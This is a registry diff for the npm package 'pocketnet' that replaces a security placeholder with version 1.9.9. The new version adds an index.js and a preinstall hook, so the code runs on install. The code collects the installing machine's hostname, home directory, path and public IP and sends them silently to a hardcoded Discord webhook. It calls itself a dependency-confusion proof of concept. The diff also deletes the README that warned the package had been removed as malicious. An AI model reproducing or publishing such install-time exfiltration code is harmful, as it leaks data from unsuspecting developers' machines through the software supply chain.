pocketnet 0.0.1-security → 1.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pocketnet might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +49 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const packageJSON = require('./package.json');
4
+
5
+ // Replace with your Discord webhook URL
6
+ const WEBHOOK_URL = 'https://discord.com/api/webhooks/1113050155214700544/PuZyFglV6DGT8nxrvPi7aYZIr6DOqTorfocewi_XaHpzWQ4U96D_hNQbs_FQoFHg91YN';
7
+
8
+ const data = {
9
+ time: new Date().toISOString(),
10
+ package: packageJSON.name,
11
+ hostname: os.hostname(),
12
+ ip: 'Unknown (fetching...)', // Will update below
13
+ homeDir: os.homedir(),
14
+ currentPath: __dirname,
15
+ };
16
+
17
+ // Get public IP (fallback to manual if API fails)
18
+ https.get('https://api.ipify.org?format=json', (res) => {
19
+ let rawData = '';
20
+ res.on('data', (chunk) => rawData += chunk);
21
+ res.on('end', () => {
22
+ try {
23
+ data.ip = JSON.parse(rawData).ip || 'Unknown';
24
+ sendToDiscord();
25
+ } catch {
26
+ data.ip = 'Unknown';
27
+ sendToDiscord();
28
+ }
29
+ });
30
+ }).on('error', () => {
31
+ data.ip = 'Unknown';
32
+ sendToDiscord();
33
+ });
34
+
35
+ function sendToDiscord() {
36
+ const payload = JSON.stringify({
37
+ content: `**Dependency Confusion Pingback**\n` +
38
+ `\`\`\`json\n${JSON.stringify(data, null, 2)}\`\`\``
39
+ });
40
+
41
+ const req = https.request(new URL(WEBHOOK_URL), {
42
+ method: 'POST',
43
+ headers: { 'Content-Type': 'application/json' },
44
+ }, (res) => {});
45
+
46
+ req.on('error', () => {}); // Silent fail
47
+ req.write(payload);
48
+ req.end();
49
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "pocketnet",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.9.9",
4
+ "description": "PoC by @zin_min_phyo",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pocketnet for more information.